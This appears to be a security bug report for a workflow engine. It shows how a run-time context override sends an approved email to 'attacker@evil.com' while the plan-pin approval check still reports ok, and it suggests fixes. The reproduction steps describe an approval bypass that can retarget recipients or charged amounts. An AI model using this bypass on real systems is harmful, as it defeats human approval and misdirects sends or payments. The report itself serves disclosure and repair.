Reproduction steps:
- A workflow whose effect sends to a context-bound recipient, approved+pinned
for alice:
spec = {"id":"notify_wf","context":{"recipient":"alice@corp.com"},
"nodes":[{"id":"send","type":"effect","provider":"email",
"verb":"message_send","action_class":"external_send",
"args":{"to":"{{ctx.recipient}}","subject":"hi","message":"x"}}]}
plan = workflow_engine.plan_workflow(spec, signing=..., policy_gate=...)
plan_pin.pin(ws, "notify_wf", plan, approved_by="studio:operator")
- Reproduce _handle_dag_run's split exactly: _pin_spec is deep-copied BEFORE the
context override; engine_spec gets the override merged AFTER:
_pin_spec = copy.deepcopy(spec)
engine_spec = dict(spec)
engine_spec["context"] = {spec["context"], {"recipient":"attacker@evil.com"}}
- plan_pin.check runs against _pin_spec (original context):
preplan = workflow_engine.plan_workflow(_pin_spec, ...)
plan_pin.check(ws, "notify_wf", preplan)
- Resolve what the RUN sends to (engine_spec context):
workflow_engine._resolve("{{ctx.recipient}}", {}, engine_spec["context"])
Expected:
plan_pin's guarantee is "you run only the plan you approved." A human approved a
send to alice; a run that sends to a different recipient must be refused (or
require re-approval), whatever channel changed the recipient.
Actual:
plan_pin.check(_pin_spec) -> ok=True ("matches the approved plan")
effect recipient the RUN resolves to -> attacker@evil.com
_handle_dag_run deep-copies _pin_spec BEFORE merging the caller's body["context"]
into engine_spec, and runs plan_pin.check against _pin_spec — so plan-pin never
sees the override and the root is unchanged. Because an effect node's bound args
are hashed by TEMPLATE, not resolved value, the pinned root is identical whether
ctx.recipient is the approved value or a caller-chosen one. So a workflow
approved to send to alice@corp.com is run — pin reporting ok — sending to
attacker@evil.com supplied in the dag/run body's context, with no spec edit and
no file write (a documented, legitimate request parameter). The sealed receipt
records the attacker send under the approval given for alice. The same override
retargets any context-bound arg (subject, body, target record id) and — for an
amount bound as {{ctx.amount}} — the charged amount.
Suggested fix:
Run plan_pin.check (and the Tier-1 approve gate) against the SPEC THE RUN
ACTUALLY USES, i.e. with the context override applied, not the pre-override
_pin_spec. The _pin_spec split exists only to keep the incremental since cursor
(a runtime value) from churning the pin — so exclude ONLY the incremental
cursor key from the hashed shape, not the whole context. A recipient/amount
override then changes the plan root and correctly forces re-approval, while thesince cursor still does not. (Alternatively, fold the RESOLVED bound-arg values
into the leaf hash — the effect-args-binding fix — so any change to a resolved
arg, from a spec edit OR a context override, changes the root.) At minimum,
restrict run-time context override to an allowlist of keys that cannot affect a
send target or amount.
Note: this shares the underlying "bound effect args are not covered by the plan
hash" root with the reported effect-args-binding finding, but the trigger here is
the run-time context channel on /api/workflow/dag/run — no spec edit and no file
write, just a request parameter — and the defect is specifically the
_pin_spec-before-override split in _handle_dag_run, so it is reported as a
distinct, more-reachable vector.